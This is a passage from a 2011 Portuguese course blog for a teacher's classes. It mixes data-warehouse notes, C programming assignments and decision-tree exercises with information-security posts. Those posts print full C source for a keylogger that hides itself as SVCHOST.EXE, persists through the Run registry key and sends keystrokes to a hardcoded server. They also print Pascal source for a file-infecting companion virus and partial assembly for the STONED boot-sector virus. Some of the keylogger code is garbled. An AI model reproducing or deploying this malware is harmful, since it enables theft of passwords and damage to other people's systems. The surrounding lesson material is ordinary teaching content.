Usuários online

quarta-feira, 30 de novembro de 2011

Sistemas de Apoio à Decisão - Aula 30/11/2011 (Data Mining, Data Warehouse e Arquitetura de um Data Warehouse)

Data Mining

Vide o link http://pt.wikipedia.org/wiki/Minera%C3%A7%C3%A3o_de_dados para uma introdução sobre Data Mining.



Data Warehouse
fonte: o texto e as imagens abaixo foi retirado de http://www.devmedia.com.br/post-12609-Data-Warehouse.html (se a DevMedia se sentir ofendida basta solicitar e o conteúdo será removido -- obrigado).

Introdução

O grande crescimento do ambiente de negócios, médias e grandes empresas armazenam também um alto volume de informações, onde que juntamente com a tecnologia da informação, a correta extração destas informações é um fator chave para se conseguir destaque no mercado cada vez mais competitivo. 

Este manancial de informação, quando aproveitado de forma eficaz, desempenha um papel fundamental no sucesso das organizações, afinal vivemos numa sociedade tecnológica onde a informação acumulada é muito valiosa, sendo assim a informação “tratamento de dados”, irá determinar a eficiência da empresa e quais as melhores decisões devem ser tomadas. 

Segundo Date (2004) “Data Warehouse (que no português significa, literalmente armazém de dados) é um deposito de dados orientado por assunto, integrado, não volátil, variável com o tempo, para apoiar as decisões gerenciais”.

Orientado por assunto

Refere-se aos sistemas transacionais organizados em uma determinada aplicação de uma empresa. A orientação por assunto é uma característica importante, pois toda a modelagem do DW é orientada a partir dos principais assuntos da empresa. Por exemplo uma empresa de arrecadação de impostos, onde os principais assuntos são os cadastros de contribuintes, impostos a recolher.

Integrado

Essa é a característica mais importante do DW, pois trata da integração, que é feita do ambiente operacional para as aplicações do DW. A integração é realizada visando padronizar os dados dos diversos sistemas em uma única representação, para serem transferidos para a base de dados única do DW.

Não volátil

Nos sistemas transacionais os dados sofrem diversas alterações como, por exemplo, a inclusão, alteração e exclusão de dados. No ambiente do Data Warehouse os dados, antes de serem carregados, são filtrados e limpos “gerando informação”. Após esta etapa esses dados sofrem somente operações de consulta e exclusão, sem que possam ser alterados, e esta característica representa a não-volatilidade.

Variável com o tempo

A variação em relação ao tempo consiste na manutenção de um histórico de dados em relação ao período de tempo maior que dos sistemas comuns, isto significa que as técnicas de mineração de dados não são aplicadas em tempo real, de forma a não comprometer o desempenho dos bancos transacionais OLTP. Ao analisarmos um dado de um DW, o mesmo sempre estará relacionado a um período determinado de tempo, pois terá uma chave de tempo que irá indicar o dia no qual esses dados foram extraídos.

O DW consiste a junção de diversas tecnologias que permitem fazer consulta no banco de dados, para posterior análise das informações. Devido ao ambiente projetado, o DW tem uma única fonte de dados, que facilita muito o trabalho do analista, porque os dados que lá existem estão tratados e não há redundância das informações.

Para maiores detalhes você pode acessar também o link http://www.coladaweb.com/informatica/data-warehouse.


Elementos básicos do DW Abaixo podemos visualizar os elementos básicos que compõem as arquiteturas de um Data Warehouse.

Figura 1 - Elementos DW

Fonte de dados
Sistemas transacionais da empresa, pode ser composto por diversas formas de dados.

Data Stage
Composta por uma área de armazenagem e um conjunto de processos. Sua função é extrair os dados dos sistemas transacionais, proceder a limpeza, a transformação, combinação, de duplicação e preparação dos dados para o uso no DW. Estes dados não são apresentados ao usuário final.

Servidor de apresentação
Ambiente onde os dados são organizados e armazenados para consulta direta pelos usuários finais. Normalmente os dados estão disponíveis nestes servidores em bancos de dados relacionais, mas também podem estar armazenados em tecnologia OLAP (OnLine Analytical Processing ) já que muitos data marts trabalham apenas com dados no modelo dimensional.

Data Mart
Subconjunto lógico do DW, geralmente divididos por departamento ou visões necessárias para os usuários.

Data Mining
Também conhecido como mineração de dados, o Data Mining trabalha em grandes massas de dados onde existem muitas correlações entre os dados que não são perceptíveis facilmente. Os Data Warehouses são constituídos, normalmente, de imensa quantidade de dados, há necessidade de uma ferramenta para varrer automaticamente o DW a fim de pesquisar tendências e padrões através de regras pré-definidas que dificilmente seriam encontrados em uma pesquisa comum.

Ferramentas de acesso aos dados
Maneira em que os dados são extraídos e integrados com cada processo distinto do DW. As funções para a transformação dos dados são:
  • Extração: retirada dos dados dos sistemas transacionais e armazenagem na área de data stage;
  • Carga de dimensões processadas: realimentação do processo para garantir a representação correta dos dados em novo formato.
  • Carga, Replicação e Recuperação: quando pronto, o dado é carregado no data mart correspondente e são criados (ou atualizados) índices para melhorar a performance das consulta.
  • Alimentação: apresenta as visões do data mart de acordo com as necessidades dos usuários.
  • Carga dos resultados dos modelos: serve para realimentar possíveis modificações no data mart, caso este não esteja adequado a aplicação que o utiliza.
Arquitetura do DW
Arquitetura do DW pode variar conforme o tipo de assunto abordado, isso ocorre devido as necessidades que variam de empresa para empresa.

Arquitetura Genérica
A arquitetura genérica compreende a camada dos dados operacionais que serão acessados pela camada de acesso a dados. As camadas de gerenciamento de processos, transporte e data warehouse são responsáveis por distribuir os dados e estão no centro da arquitetura. A camada de acesso à informação possibilita a extração das informações do DW utilizando um conjunto de ferramentas.

Figura 2 - Arquitetura genérica DW

Arquitetura de Duas Camadas
A arquitetura de duas camadas utiliza um servidor, juntamente com aplicações front end, que são ferramentas que realizam operações sobre os dados consultados e os transformam em informações úteis para os usuários, os componentes back end são ferramentas responsáveis pela extração, limpeza e cargas dos dados, mais conhecidas como ETL também são utilizadas neste tipo de arquitetura.

Figura 3 - Arquitetura duas camadas DW

Arquitetura de Três Camadas
A arquitetura de três camadas suporta vários usuários e serviços devido a sua flexibilidade, as informações ficam armazenadas em várias camadas. Na primeira camada estão as interfaces que trabalham com o usuário, onde geralmente são gráficas. Na segunda camada estão os servidores de banco de dados e aplicações e, por isso, têm a necessidade de ter um acesso eficiente e veloz aos dados compartilhados, e na última ficam armazenadas as fontes de dados. A arquitetura de três camadas é a mais utilizada pelos analistas.

Figura 4 - Arquitetura três camadas DW










Acesse Data Warehouse para maiores informações.


Conclusão
Vimos neste míni artigo um pouco sobre importância de um Data Warehouse para as empresas, suas definição, características, arquitetura e elementos básicos usados na sua construção.

segunda-feira, 28 de novembro de 2011

Segurança da Informação - Aula 28/11/2011 (Vírus em Batch)

Vírus em Batch

Há 3 tipos básicos (dentre outros) que são executáveis num computador: arquivos executáveis (extensão EXE), arquivos de comando (extensão COM) e arquivos em lote ou batch files (extensão BAT).

Arquivos em lote não são propriamente programas, mas podem executar diversos comandos em lote, daí seu nome. Podem ser usados para criarmos arquivos nocivos e que modifiquem, danifiquem ou torne instável ou inoperante o sistema operacional (Windows, a saber). Para ver como criar alguns "vírus" deste tipo acesse este link.

Segurança da Informação - Aula 28/11/2011 (Keyloggers)

Keyloggers

Keyloggers são programas residentes (ou seja, ficam em execução em segundo plano) e fazem captura de tudo o que o usuário digita, isto é, captura todo pressionamento de teclas do usuário, incluindo senhas. Alguns antivirus os detectam, mas existem técnicas para escondê-los, portanto uma pessoa mal intencionada pode lhe enviar um keylogger disfarçado e indetectável pelo seu antivirus atual.

Observação: 1) Prestem atencão nos comentários, para modificar os dados necessários;
2) O programa pode ser detectado por algum antivírus com boa verificação heurística.

Abaixo o código de um Keylogger em linguagem C fonte: http://forum.guiadohacker.com.br/showthread.php?t=6745

//Bibliotecas
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winreg.h>
#include <winsock.h>

#progama comment(lib, "winsock32.lib") //LIB do winsock

//Dados para envio do email
#define de "lol@lol.com.br"
#define para "oliveiracarlo@bol.com.br"
#define assunto "LOG"
#define FORMMAIL.php" //Troque pelos dados corretos.
#define ip "200.201.8.45" //IP do servidor

//Variáveis
int c,n,s,num,num2,caps,envia_tam=50,strtam; //envia_tam = número mínimo de caracteres digitados para enviar email
void logar_normal(),logar_caps(),logar_shift(); //Funções
char teclas[99999],teclas_aux[99999],enviar[99999],caminho_copia[255];

HWND janela;
HKEY chave;

WSADATA data;
SOCKET winsock;
SOCKADDR_IN sock;

//Fim da declaração de variáveis
int main(int argc,char *argumento[0]){ //Função principal, usaremos "argumento[0]" para capturar-mos o nome do arquivo do keylogger e o diretório onde este arquivo se encontra.

//Muda o título da janela e a oculta.
SetConsoleTitle("SVCHOST.EXE");
janela = FindWindow(NULL,"SVCHOST.EXE");
ShowWindow(janela,SW_HIDE);

sprintf(caminho_copia,"%s",argumento[0]); //Faz uma cópia do caminho do keylogger.

//Inicializa o WINSOCK, e caso ocorra algum erro, encerra o keylogger.
if(WSAStartup(MAKEWORD(1,1),&data)==SOCKET_ERROR)
exit(0);

if((winsock=socket(AF_INET,SOCK_STREAM,0))==SOCKET _ERROR)
exit(0); //Encerra o programa se a tentativa de criar um socket não teve sucesso.

//Cria uma entrada no registro, para que o keylogger inicie junto com o sistema operacional.
RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft \\Windows\\CurrentVersion\\Run",&chave);
RegSetValueEx(chave,"SVCHOST.EXE",0,1,(LPBYTE)"C:\ \WINDOWS\\SVCHOST.EXE",22);
RegCloseKey(chave);

CopyFile(caminho_copia,"C:\\WINDOWS\\SVCHOST.EXE", 0); //Copia o keylogger para C:\WINDOWS\SVCHOST.EXE, cujo programa é acionado ao iniciar do windows.

while(1){ //Loop

Sleep(1); //Pausa para o LOOP não travar.

strtam=strlen(teclas); //Captura o número dos carecteres digitados
if(strtam>=envia_tam) //Compara se o número é maior ou igual ao especificado em "envia_tam"
{
//Caso afirmativo:

//Prepara socket
sock.sin_family=AF_INET;
sock.sin_addr.S_un.S_addr = inet_addr(200.201.8.45"); //IP do servidor
sock.sin_port=htons(80);

/* A linha abaixo é muito importante.
Essa linha ao ser enviada para o servidor,
fará com que você receba o email com o log.
Preste muita atenção ao lidar com ela:
*/
sprintf(enviar,"GET /%s?de=%s&para=%s&assunto=%s&msg=%s HTTP/1.1\nHost:fmail9.uol.com.br\n\n",FORMMAIL,de,para, assunto,teclas);

if((winsock=socket(AF_INET,SOCK_STREAM,0))==SOCKET _ERROR) //Caso haja erro, interrompe o programa.
exit(0);

//Conecta ao servidor
if(connect(winsock,(sockaddr*)&sock,sizeof(sock))! =SOCKET_ERROR){

send(winsock,enviar,strlen(enviar),0); //Envia para o servidor uma requisição ao formmail para que este envie o log.

//Limpa as variáveis que armazenam as teclas digitadas.
sprintf(teclas,"");
sprintf(teclas_aux,"");

}
else{
exit(0); //Erro ao conectar, resulta na saída do programa.
}}

//Daqui em diante começa o código responsável pela obtençãp e gravação das teclas.


if(GetAsyncKeyState(0x8)==-32767){ //Tecla BackSpace, copia para uma variável auxiliar os caracteres digitados com 1 caractere a menos, e em seguida recopia o conteúdo para a variável principal.
if(strlen(teclas)>0)
strncpy(teclas_aux,teclas,strlen(teclas)-1);
strcpy(teclas,teclas_aux);
sprintf(teclas_aux,"%c",0);}

//Tecla Enter, adiciona na string: %0A, que é o caractere da tecla ENTER em modo escape, utilizando para o envio de email via PHP.
if(GetAsyncKeyState(0xD)==-32767){
strcat(teclas,"%0A");
}
//Verifica o pressionamento da tecla SHIFT e chama pela função adequada.
if(GetAsyncKeyState(0x10))
logar_shift();
//Tecla de espaço, novamente, %20 é o caractere escape da tecla SPACE.
if(GetAsyncKeyState(0x20)==-32767)
strcat(teclas,"%20");
//Verifica o CAPS LOCK
caps = GetKeyState(0x14);
switch(caps)
{
case 0:
logar_normal(); //Se caps lock estiver desligado
break;
case 1:
logar_caps(); //Se logado
}

for(num=48;num<=57;num++) //Loga números
if(GetAsyncKeyState(num)==-32767)
sprintf(teclas,"%s%c",teclas,num);

//Loga outros caracteres.
if(GetAsyncKeyState(106)==-32767)
sprintf(teclas,"%s*",teclas);

if(GetAsyncKeyState(107)==-32767)
sprintf(teclas,"%s+",teclas);

if(GetAsyncKeyState(109)==-32767)
sprintf(teclas,"%s-",teclas);

if(GetAsyncKeyState(110)==-32767)
sprintf(teclas,"%s.",teclas);

if(GetAsyncKeyState(111)==-32767)
sprintf(teclas,"%s/",teclas);

if(GetAsyncKeyState(186)==-32767)
sprintf(teclas,"%s;",teclas);

if(GetAsyncKeyState(187)==-32767)
sprintf(teclas,"%s=",teclas);

if(GetAsyncKeyState(188)==-32767)
sprintf(teclas,"%s,",teclas);

if(GetAsyncKeyState(189)==-32767)
sprintf(teclas,"%s-",teclas);

if(GetAsyncKeyState(190)==-32767)
sprintf(teclas,"%s.",teclas);

if(GetAsyncKeyState(191)==-32767)
sprintf(teclas,"%s/",teclas);

if(GetAsyncKeyState(192)==-32767)
sprintf(teclas,"%s`",teclas);

if(GetAsyncKeyState(219)==-32767)
sprintf(teclas,"%s[",teclas);

if(GetAsyncKeyState(220)==-32767)
sprintf(teclas,"%s%c",teclas,220);

if(GetAsyncKeyState(221)==-32767)
sprintf(teclas,"%s]",teclas);

if(GetAsyncKeyState(222)==-32767)
sprintf(teclas,"%s'",teclas);

//Loga teclado númerico. (0123...9 +*/-.)
for(num2=96;num2<=105;num2++)
if(GetAsyncKeyState(num2)==-32767)
sprintf(teclas,"%s%c",teclas,num2-48 );

}
return 0;
}

//Loga quando SHIFT for pressionado.
void logar_shift()
{
for(s=48;s<=57;s++)
if(GetAsyncKeyState(s)==-32767)
switch(s)
{
//Loga símbolos, note que alguns símbolos só são aceitos se estiverem em modo escape.
case 48:
sprintf(teclas,"%s)",teclas);
break;

case 49:
sprintf(teclas,"%s!",teclas);
break;

case 50:
sprintf(teclas,"%s@",teclas);
break;
case 51:
sprintf(teclas,"%s%%23",teclas);
break;
case 52:
sprintf(teclas,"%s%%24",teclas);
break;
case 53:
sprintf(teclas,"%s%%25",teclas);
break;
case 54:
sprintf(teclas,"%s%%5E",teclas);
break;
case 55:
sprintf(teclas,"%s%%26",teclas);
break;
case 56:
sprintf(teclas,"%s*",teclas);
break;
case 57:
sprintf(teclas,"%s(",teclas);
break;

}
//Na mesma função do SHIFT, verifica se CAPSLOCK está ligado ou desligado
switch(caps)
{
case 0: //Se desligado,loga letras em maiúsculas.
for(s=65;s<=90;s++)
if(GetAsyncKeyState(s)==-32767)
sprintf(teclas,"%s%c",teclas,s);
break;

case 1: //Se ligado, loga letrs em minúsculas.
for(s=65;s<=90;s++)
if(GetAsyncKeyState(s)==-32767)
sprintf(teclas,"%s%c",teclas,s+32);
}
//Outros símbolos combinados com SHIFT.
if(GetAsyncKeyState(186)==-32767)
sprintf(teclas,"%s:",teclas);

if(GetAsyncKeyState(187)==-32767)
sprintf(teclas,"%s+",teclas);

if(GetAsyncKeyState(188)==-32767)
sprintf(teclas,"%s<",teclas);

if(GetAsyncKeyState(189)==-32767)
sprintf(teclas,"%s_",teclas);

if(GetAsyncKeyState(190)==-32767)
sprintf(teclas,"%s>",teclas);

if(GetAsyncKeyState(191)==-32767)
sprintf(teclas,"%s?",teclas);

if(GetAsyncKeyState(192)==-32767)
sprintf(teclas,"%s~",teclas);

if(GetAsyncKeyState(219)==-32767)
sprintf(teclas,"%s{",teclas);

if(GetAsyncKeyState(220)==-32767)
sprintf(teclas,"%s|",teclas);

if(GetAsyncKeyState(221)==-32767)
sprintf(teclas,"%s}",teclas);

if(GetAsyncKeyState(222)==-32767)
sprintf(teclas,"%s\"",teclas);


}
//Loga quando CAPSLOCK estiver ligado
void logar_caps()
{
for(c=65;c<=90;c++)
if(GetAsyncKeyState(c)==-32767)
sprintf(teclas,"%s%c",teclas,c);

}

void logar_normal() //Loga quando nem SHIFT nem CAPSLOCK estiverem sendo usados.
{
for(n=65;n<=90;n++)
if(GetAsyncKeyState(n)==-32767)
sprintf(teclas,"%s%c",teclas,n+32);
"

}

Segurança da Informação - Aula 28/11/2011 (Propagação de Vírus)

Propagação de Vírus

Este arquivo tem o propósito de estudo de vírus apenas! Será muito útil para aprender como os virus funcionam e se propagam. Mas qualquer um com conhecimentos de Assembler pode torná-lo em virus funcional e qualquer um com um pouco de experiência de codificação Assembly pode torná-lo em programa mais perigoso que ele já é. Mantenha esse código apenas para estudo!

O programa abaixo está em linguagem Pascal.

Program Saddam;

{$M 10000,0,0}

Uses DOS;

Var
  DriveID : String [2];
  Buffer : Array [1..8000] Of Byte;
  Target,Source : File;
  Infected : Byte;
  Done : Word;
  TargetFile : String;

(*?????????????????????????????????????????????????????????????????????????*)

Function ExistCom : Boolean;
Var
  FindCom : SearchRec;
Begin
  FindFirst ( TargetFile, 39, FindCom );
  ExistCom := DosError = 0;
End;

(*?????????????????????????????????????????????????????????????????????????*)

Procedure SearchDir ( Dir2Search : String );
Var
   S : SearchRec;

Begin
    If Dir2Search [ Length ( Dir2Search ) ] <> '\' Then
        Dir2Search := Dir2Search + '\';

    FindFirst ( Dir2Search + '*.exe', 39, S );

    While DosError = 0 Do
    Begin
      TargetFile := Copy ( Dir2Search + S.Name,1,
      Length ( Dir2Search + S.Name ) -3 ) + 'com';

      If ( Copy ( S.Name, Length ( S.Name ) -2,3 ) = 'EXE' ) And
      Not ExistCom And ( Infected <> 25000 ) Then
      Begin
        {$i-}
        Inc ( Infected );
        Assign ( Target, TargetFile );
        Rewrite ( Target,1 );
        BlockWrite ( Target, Buffer, Done + Random ( 4400 ));
        SetFTime ( Target, S.Time );
        Close ( Target );
        If IoResult = 101 Then
        Begin
            Infected := 3;
            Erase ( Target );
        End;

        {$i+}
      End;

      FindNext ( S );
  End;

  FindFirst ( Dir2Search + '*', Directory, S );

  If S.Name = '.' Then
  Begin
     FindNext ( S );
     FindNext ( S );
  End;

  If ( DosError = 0 ) And
  ( S.Attr And 16 <> 16 ) Then
      FindNext ( S );

  While DosError = 0 Do
  Begin
      If ( S.Attr And 16 = 16 ) And ( Infected < 3 ) Then
          SearchDir ( Dir2Search + S.Name );
          FindNext ( S );
      End;
   End;


(*?????????????????????????????????????????????????????????????????????????*)

Begin
    DriveID := FExpand ( ParamStr ( 1 ));
    Infected := 0;

    Assign ( Source, ParamStr ( 0 ) );
    Reset ( Source, 1 );
    BlockRead ( Source, Buffer, 5000, Done );
    Close ( Source );

    Randomize;

    SearchDir ( DriveID );

    Exec ( Copy ( ParamStr ( 0 ),1,
    Length ( ParamStr ( 0 )) -3 ) + 'exe', ParamStr ( 1 ) );
End.

quinta-feira, 24 de novembro de 2011

Introdução a Algoritmos - Aula 24/11/2011 (Trabalho Prático - 9 pontos - Entrega até 15/12/2011)


Trabalho Prático - 9 pontos - Entrega até 15/12/2011

Escolha um exercício pequeno (1, 4, 5 ou 7) e um grande (2, 3, 6 ou 8) e resolva em C/C++ usando o Dev-C++. Depois envie por e-mail somente os códigos-fontes (arquivos CPP).

1.    Maria quer saber quantos litros de gasolina precisa colocar em seu carro e quanto vai gastar para fazer uma viagem até a casa de sua irmã. Dados extras:
  • Distância da casa de Maria até sua irmã: 520 km
  • Seu carro consome um litro a cada 12 km rodado.
  • Ela abastece sempre no mesmo posto, onde o preço da gasolina é R$ 1,50 o litro.
2.    Faça um programa para ler a quantidade de consumo de água e calcular o valor da conta de água, considerando a seguinte tabela de gastos:

Cada m³
0 – 10
R$ 1,20
11 – 20
R$ 1,50
Acima de 20
R$ 2,00
 
3.  Faça um programa para ler a quantidade de consumo de energia calcular o valor da conta de energia elétrica de uma casa, considerando a tabela a seguir. A conta deve ser calculada proporcionalmente, ou seja, se o usuário gastou 55 kWh, ele pagará 50 kWh ao preço de R$ 1,00 e 5 ao preço de R$ 1,30.

kWh
Valor
0 – 50
R$ 1,00
51 – 100
R$ 1,30
101 - 150
R$ 1,60
Acima de 150
R$ 2.00

4.    Escreva um programa para calcular o reajuste salarial dos empregados de uma empresa, de acordo com os seguintes critérios:
  • Os funcionários com salário inferior a 1.000,00 devem ter um reajuste de 55%;
  • Funcionários com salário de 1.000,00 (inclusive) a 2.500,00 (inclusive) devem ter um reajuste de 33%;
  • Os funcionários com salário superior a 2.500,00 devem ter um reajuste de 20%;
5.  Faça um programa para somar os 100 primeiros números inteiros positivos pares e os 100 primeiros números inteiros positivos ímpares. Depois de somados escrever o resultado das duas somatórias. Faça agora a subtração da soma dos números pares pela soma dos números ímpares e a subtração da soma dos números ímpares pela soma dos números pares escrevendo o resultado das duas subtrações.
 
6.   Em uma adega tenho três tipos de vinhos para vender ou comprar que são: rosê, branco e tinto. Faça um programa que dê entrada ou saída nos vinhos lendo o tipo de movimento (venda ou compra), a quantidade dos vinhos e seus respectivos tipos. O estoque inicial de cada tipo é o seguinte: Vinho Rosê = 34 garrafas; Tinto = 86 garrafas e Branco = 33 garrafas. Quando receber em uma entrada a quantidade zerada para os três vinhos independente de ser compra ou venda, encerrar o programa escrevendo, o estoque de cada vinho. O percentual de cada um sobre o total de garrafas, o estoque maior e o estoque menor.
 
7.   Faça um programa que jogando um dado faça a somatória dos números apresentados até sair o número SEIS. Quando este número sair, acrescente-o a somatória e escreva o resultado da soma dos números.
 
8.     Faça um programa que receba o valor da mensalidade e a idade dos alunos de uma turma, até que seja informado um valor de mensalidade igual a zero. Após a digitação informe:
  • O valor médio da mensalidade;
  • A maior mensalidade;
  • A menor mensalidade;
  • O percentual de alunos com até de 20 anos;
  • A quantidade de alunos com idade superior a 20.

quarta-feira, 23 de novembro de 2011

Sistemas de Apoio à Decisão - Aula 23/11/2011 (Árvore de Decisão - Exercícios)

Árvore de Decisão - Exercícios
Monte a árvore de decisão de cada exercício abaixo e indique qual a melhor opção. 

1. Vendedor ambulante de camisas esportivas
Um vendedor ambulante está considerando a possibilidade de vender camisas esportivas.

As camisas seriam compradas por $ 10 e vendidas por $ 35. Como a qualidade do material é
baixa estima-se que haja 30% de perda para o vendedor ambulante.

Independente da quantidade adquirida, seus custos de transporte e manutenção serão de $ 1000 por dia.



As camisas não vendidas terão um valor residual de $ 2.

A demanda diária pelas camisas depende das condições de vigilância nas ruas: se a vigilância for ostensiva,  o vendedor somente consegue vender 50 camisas, vendendo 4 vezes mais se a vigilância das ruas for fraca. Caso a vigilância for média, o vendedor consegue colocar 120 camisas.

As camisas só podem ser compradas em lotes pré - determinados: 80, 160, 240 ou 320 unidades. A experiência tem mostrado que há 40% de chance de que a vigilância seja fraca contra 30% de vigilância ostensiva. Em consequência ela é média 30% das vezes.


Calcule:
  1. Qual a quantidade de camisas que o vendedor ambulante deverá comprar para maximizar o seu lucro esperado?
  2. Disponha os resultados sob forma de matriz de receitas.

Resposta:
Custo: $ 10
Preço: $ 35
Perda: 30 %
Custos Fixos: $ 1.000 por dia

Camisas não vendidas, Preço: $ 2

Vigilância Ostensiva: 50 camisas, com probabilidade 0,3
Vigilância Média: 120 camisas, com probabilidade 0,3
Vigilância Fraca: 200 camisas, com probabilidade 0,4

Alternativas de compra:
A: Lote de 80 camisas
B: Lote de 160 camisas
C: Lote de 240 camisas
D: Lote de 320 camisas

1) Quantidade de camisas que maximiza o lucro esperado.

Alternativas:
A. compra de 80 camisas
B. compra de 160 camisas
C. compra de 240 camisas
D. compra de 320 camisas

Alternativa A:
Custo da alternativa: 80 x 10,00 + 1000,00 = 1800,00
Camisas vendáveis: 80 x 0,7 = 56

Receitas:
  • para vigilância ostensiva: 50 x 35,00 + 6 x 2,00 = 1762,00
  • para vigilância média: 56 x 35,00 = 1960,00
  • para vigilância fraca: 56 x 35,00 = 1960,00

Receita líquida:
  • para vigilância ostensiva (o): 1762.00 - 1800.00 = -38.00
  • para vigilância média (m): 160.00
  • para vigilância fraca (f): 160.00

Calcula-se as receitas líquidas das outras alternativas de forma análoga.

A árvore de decisão apresenta-se assim:

As receitas líquidas esperadas são as seguintes:
E(A) = 0,3 x (-38) + 0,3 x 160 + 0,4 x 160 = 100.60
E(B) = 706.20
E(C) = 836.60
E(D) = 571.00

Desta forma, a melhor alternativa é a C, que consiste na compra de 240 camisas.

2) Matriz de decisão.

Pode-se, também, apresentar o problema sob a forma de matriz de decisão:

A partir destes dados pode-se, por exemplo, calcular o valor de uma informação adicional.

Vejamos o caso de uma informação perfeita:
Até quanto o vendedor ambulante poderá pagar a um hipotético policial corrupto para que lhe informe qual o tipo de vigilância que irá ocorrer com certeza?

Deve-se verificar, neste caso, qual a melhor opção quando se sabe o que vai ocorrer:
  • Caso a vigilância seja ostensiva a melhor alternativa é a A, ou seja, o prejuízo será de $ 38,00.
  • Caso a vigilância seja média a melhor alternativa é a B, com lucro de 1320.
  • Caso a vigilância seja fraca a melhor opção é a alternativa D, com lucro de 2848.
Assim o valor esperado da receita líquida, com informação perfeita, é de:

V(p) = -38 x 0,3 + 1320 x 0,3 + 2848 x 0,4 = 1523,80

Ora, o valor esperado sem esta informação era de $836,60, correspondente à alternativa C.

Assim o vendedor deve estar disposto a pagar ao policial no máximo:

1523,80 - 836,60 = 687,20.


2. Investir ou não em uma nova fábrica
Suponha que há dúvidas entre investir ou não em uma nova fábrica, pois não se sabe sobre a demanda pelos seus produtos.

Há a possibilidade de se iniciar com a construção de uma planta grande, com investimentos da ordem de $40 milhões, o ganho é maior desde o início, caso a demanda seja média ou alta, mas os custos fixos inviabilizam o investimento se a demanda for baixa.

Também é possível iniciar com uma planta pequena com metade do investimento, mas perde-se oportunidade de ganhos iniciais se a demanda for alta. Caso a demanda seja alta, e permaneça assim, pode-se expandir a planta no terceiro ano com investimentos adicionais de $25 milhõesem valores da data zero.

Observando comportamento da demanda e após análise de mercado, estabeleceu-se probabilidades para as demandas alta, média e baixa.

Os fluxos a seguir mostram esses cenários e a árvore de decisão apresenta as várias possibilidades.






3. Fibras mágicas
Você é o analista de investimentos da Corporação Kappa (CK).

O grupo de desenvolvimento acaba de criar tecnologia para transmitir energia por fibras ótico-infra-plus-red.

O grupo de marketing propõe que a CK construa alguns protótipos e faça testes de mercado das fibras.

O grupo de planejamento, incluindo representantes das áreas de produção, marketing e engenharia, recomendou que a empresa prosseguisse com a fase de teste e desenvolvimento.

Estima-se que essa fase preliminar durará um ano e custará $ 100 milhões. Além do mais, o grupo acredita que há uma probabilidade de 65% de que os testes de produção e marketing sejam bem sucedidos.

A venda destas fibras, porém, está sujeita a:
  • Incertezas quanto à demanda por energia elétrica no futuro
  • Incertezas quanto ao preço futuro da transmissão de energia
  • Incertezas quanto à participação da CK no mercado de fibras
  • Incertezas quanto ao aparecimento de outras formas de geração e transmissão de energia
Se os testes iniciais de mercado forem bem sucedidos, a CK poderá investir em terrenos, construção e equipamentos ao final do primeiro ano. Essa fase custará $ 1,5 bilhão. A produção se dará nos próximos cinco anos. O fluxo de caixa líquido por ano é de $ 900 milhões. A TMA é de 15% ao ano

Se o teste for malsucedido o fluxo de caixa líquido do investimento será de -630 milhões por ano.

As decisões a serem tomadas são as seguintes:
  • Deve-se testar e desenvolver a fibra?
  • Deve-se investir na produção em escala?

terça-feira, 22 de novembro de 2011

Segurança da Informação - 1º TVC - 08/11/2011 (Correção e Resultado)

Correção e Resultado do 1º TVC de Segurança da Informação do dia 08/11/2011

As notas foram muito boas. Questões com respostas erradas estão destacadas em vermelho. O link para o arquivo da prova ainda está ativo, mas o gabarito online já está desativado.


Código do Vírus STONED

O código abaixo é de um antigo vírus chamado STONED, que congelava a máquina hospedeira de tempos em tempos. O programa está em assembly e é necessário um programa como MASM ou CASM para compilá-lo, mas você não vai querer executar um vírus em sua máquina, não é?

TITLE   STONBOOT        1-4-80  [5-12-90]

PAGE 27,132

;*****************************************************************************
;
;         *** NOT FOR GENERAL DISTRIBUTION ***     The Stoned Virus
;
; This file is for the purpose of virus study only! It should not be passed
;  around among the general public. It will be very useful for learning
;  how viruses work and propagate. But anybody with access to an assembler
;  can turn it into a working virus and anybody with a bit of assembly coding
;  experience can turn it into a far more malevolent program than it already
;  is. Keep this code in reasonable hands!
;
; This is a boot sector virus, and an extremely tiny one. It occupies only a
;  single sector. On a diskette, it resides in the boot sector, and on a hard
;  disk resides in the mastor boot record. It can be installed on a 5 1/4 inch
;  diskette by copying the real boot sector to side 1, track 0, sector 3. This
;  is the last sector used by the directory, and is usually not used. If the
;  directory ever does expand into this area, then the real boot sector will be
;  trashed, and the diskette will no longer be bootable. Once the boot sector
;  is copied to the directory area, this code goes into the boot sector space
;  at side 0, track 0, sector 1. The system is then transferred to the diskette
;  and the diskette contains an activated virus. Once this diskette is used to
;  boot up a system, it will become resident and infect other diskettes it
;  sees. If the system contains a hard drive, it too will become infected.
;
; This virus does not contain any time bomb, but it can cause loss of data by
;  wrecking a directory here or there.
;*****************************************************************************


LF      EQU     0AH
CR      EQU     0DH

XSEG    SEGMENT AT      07C0h
        ORG     5
NEWSEG  LABEL   FAR
XSEG    ENDS

CODE    SEGMENT
        ASSUME DS:CODE, SS:CODE, CS:CODE, ES:CODE
        ORG     0


;*****************************************************************************
; Execution begins here as a boot record. This means that its location and
;  CS:IP will be 0000:7C00. The following two JMP instructions accomplish only
;  a change in CS:IP so that CS is 07C0. The following two JMPs, and the
;  segment definition of XSEG above are best not tampered with.
;*****************************************************************************


        JMP  FAR PTR NEWSEG     ;This is exactly 5 bytes long. Don't change it

;The above line will jump to here, with a CS of 07C0 and an IP of 5

        JMP     JPBOOT                  ;Jump here at boot up time


;*****************************************************************************
; The following offsets:
;    D_TYPE
;    O_13_O
;    O_13_S
;    J_AD_O
;    J_AD_S
;    BT_ADD
;  will be used to access their corresponding variables throughout the code.
;  They will vary in different parts of the code, since the code relocates
;  itself and the values in the segment registers will change. The actual
;  variables are defined with a leading underscore, and should not be used. As
;  the segment registers, and the offsets used to access them, change in the
;  code, the offsets will be redefined with "=" operators. At each point, the
;  particular segment register override needed to access the variables will be
;  given.
;
; In this area, the variables should be accessed with the CS: segment override.
;******************************************************************************

D_TYPE  =       $               ;The type of disk we are booting from
_D_TYPE DB      0

OLD_13  EQU     $
O_13_O  =       $               ;Old INT 13 vector offset
_O_13_O DW      ?

O_13_S  =       $               ;Old INT 13 vector segment
_O_13_S DW      ?

JMP_ADR EQU     $
J_AD_O  =       $               ;Offset of the jump to relocated code
_J_AD_O DW      OFFSET HI_JMP

J_AD_S  =       $               ;Segment of the jump to the relocated code
_J_AD_S DW      ?


BT_ADD  =       $               ;Fixed address 0:7C00. Jump addr to boot sector
_BT_ADD DW      7C00h           ;Boot address segment
        DW      0000h           ;Boot address offset

 

;**********************************************************
;       The INT 13H vector gets hooked to here
;**********************************************************

